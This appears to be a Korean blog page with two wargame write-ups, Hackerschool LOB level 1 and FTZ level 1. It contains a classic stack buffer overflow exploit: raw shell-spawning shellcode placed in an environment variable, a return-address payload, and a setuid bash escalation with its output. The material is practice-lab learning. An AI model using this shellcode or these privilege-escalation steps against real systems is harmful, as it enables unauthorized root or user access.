반응형
반응형
반응형


해커스쿨 LOB LEVEL1 [gate -> gremlin] 풀이


M4ndU




해커스쿨 LOB [gate -> gremlin] 풀이입니다.


ID | gate

PW | gate


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: gate

Password:

Last login: Sat Feb 10 20:32:49 on tty1

[gate@localhost gate]$ bash2

[gate@localhost gate]$ ls -l

total 16

-rwsr-sr-x    1 gremlin  gremlin     11987 Feb 26  2010 gremlin

-rw-rw-r--    1 gate     gate          272 Mar 29  2010 gremlin.c

[gate@localhost gate]$ cat gremlin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - gremlin

        - simple BOF

*/


int main(int argc, char *argv[])

{

    char buffer[256];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}




Simple BOF문제라고 하네요.


소스를 보면 256바이트 크기인 buffer에 무제한으로 입력을 받네요.


buffer와 리턴주소 간의 거리를 구하고 쉘코드를 buffer 또는 환경변수에 올려서 쉘을 따면 되겠네요.


저는 환경변수를 이용하겠습니다.



일단 문제 파일을 gdb로 까봅시다.


[gate@localhost gate]$ gdb gremlin -q

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x8048430 <main>:       push   %ebp

0x8048431 <main+1>:     mov    %ebp,%esp

0x8048433 <main+3>:     sub    %esp,0x100

0x8048439 <main+9>:     cmp    DWORD PTR [%ebp+8],1

0x804843d <main+13>:    jg     0x8048456 <main+38>

0x804843f <main+15>:    push   0x80484e0

0x8048444 <main+20>:    call   0x8048350 <printf>

0x8048449 <main+25>:    add    %esp,4

0x804844c <main+28>:    push   0

0x804844e <main+30>:    call   0x8048360 <exit>

0x8048453 <main+35>:    add    %esp,4

0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12]

0x8048459 <main+41>:    add    %eax,4

0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax]

0x804845e <main+46>:    push   %edx

0x804845f <main+47>:    lea    %eax,[%ebp-256]

0x8048465 <main+53>:    push   %eax

0x8048466 <main+54>:    call   0x8048370 <strcpy>

0x804846b <main+59>:    add    %esp,8

0x804846e <main+62>:    lea    %eax,[%ebp-256]

0x8048474 <main+68>:    push   %eax

0x8048475 <main+69>:    push   0x80484ec

0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    %esp,8
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret


*main+62 를 통해 buffer가 ebp-256에 있는 것을 알 수 있습니다.

buffer의 크기가 256이니 dummy없이 바로 buffer - sfp - ret 인 것 같습니다.


이제 환경변수를 설정해 줍시다.
41바이트 쉘코드를 사용했습니다.


[gate@localhost gate]$ cd tmp/
[gate@localhost tmp]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[gate@localhost tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[gate@localhost tmp]$ gcc getenv.c -o getenv
[gate@localhost tmp]$
[gate@localhost tmp]$ ./g
getenv   gremlin
[gate@localhost tmp]$ ./g
getenv   gremlin
[gate@localhost tmp]$ ./getenv
ADDR -> 0xbffffe9f


0xbffffe9f를 리턴주소로 두고 공격을 하면 되겠네요.

./gremlin `python -c 'print "A"*260+"\x9f\xfe\xff\xbf"'`

[gate@localhost gate]$ ./gremlin `python -c 'print "A"*260+"\x9f\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA잷?
bash$ my-pass
euid = 501
hello bof world
bash$



다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ



반응형
반응형


해커스쿨 FTZ [LEVEL1] 풀이


M4ndU




해커스쿨 FTZ [LEVEL1] 풀이입니다.


ID | level1

PW | level1


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level1

level1@192.168.31.128's password:

[level1@ftz level1]$ ls -l

total 12

-rw-r--r--    1 root     root           47 Apr  4  2000 hint

drwxr-xr-x    2 root     level1       4096 Dec  7  2003 public_html

drwxrwxr-x    2 root     level1       4096 Jan 16  2009 tmp



hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level1@ftz level1]$ cat hint



level2 권한에 setuid가 걸린 파일을 찾는다.


level2 권한에 setuid가 걸린 파일을 찾아 봅시다.


find 명령어를 사용하면 됩니다.


[level1@ftz level1]$ find / -user level2 -perm -4300

find: /lost+found: Permission denied

find: /boot/lost+found: Permission denied

find: /proc/1/fd: Permission denied

find: /proc/2/fd: Permission denied

find: /proc/3/fd: Permission denied

....(생략)


하지만 오류가 많아서 우리가 찾고자 하는 파일을 찾기 힘듭니다.

그래서 이 오류들을 제외시켜주는 옵션을 추가해 줍시다.


바로 2> /dev/null 입니다.

여기서 2는 표준에러, /dev/null은 휴지통을 의미합니다.


[level1@ftz level1]$ find / -user level2 -perm -4300 2> /dev/null

/bin/ExecuteMe


찾았습니다!

ExecuteMe가 존재하는 /bin으로 이동하고, ExecuteMe를 실행하겠습니다.


[level1@ftz level1]$ cd /bin

[level1@ftz bin]$ ./ExecuteMe




                레벨2의 권한으로 당신이 원하는 명령어를

                한가지 실행시켜 드리겠습니다.

                (단, my-pass 와 chmod는 제외)


                어떤 명령을 실행시키겠습니까?



                [level2@ftz level2]$



레벨2의 권한으로 원하는 명령어를 실행시켜 준다는데, my-pass와 chmod는 안된다고 합니다.

그렇지만 우리는 다른 방법으로도 level2의 패스워드를 얻을 수 있습니다.


level2의 권한으로 bash를 띄워서 my-pass 명령어를 사용하면 됩니다.


                [level2@ftz level2]$ bash



[level2@ftz level2]$ my-pass


Level2 Password is "hacker or cracker".


이제, 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏ

반응형

+ Recent posts